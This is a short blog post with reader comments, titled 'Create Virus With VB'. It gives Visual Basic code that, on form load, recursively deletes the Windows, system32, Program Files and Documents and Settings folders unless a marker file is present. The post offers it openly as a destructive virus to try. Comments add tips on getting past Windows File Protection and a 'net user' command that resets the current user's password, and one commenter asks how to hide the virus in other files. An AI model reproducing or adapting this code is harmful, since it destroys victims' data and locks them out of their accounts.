Create Virus With VB….Please try
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(“c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“c:\windows\system”)
Call DelAll(“c:\windows\system32″)
Call DelAll(“c:\windows”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
I dont think that windows will allow you to delete the files insidet the windows folder while the windows file protection service is running….. Try to stop the service first wit the code… Rite now i dont remember the code just google it… But then a good piece of blog here….. And oh try out batch programing a lil… you can do fun stuff wit it…. try this code
net user %username% grimreaper
in your command prompt….. maybe you know this already… Jus a small trick i know…
thanks for share bro…kalo ada yang lebih mantap lagi kirim ke email ku yach…
thanks…ckikikik…ckikkikik
good do this verey nice code
but you can helpe me how make beind hemsilfe with ather files
programmer iven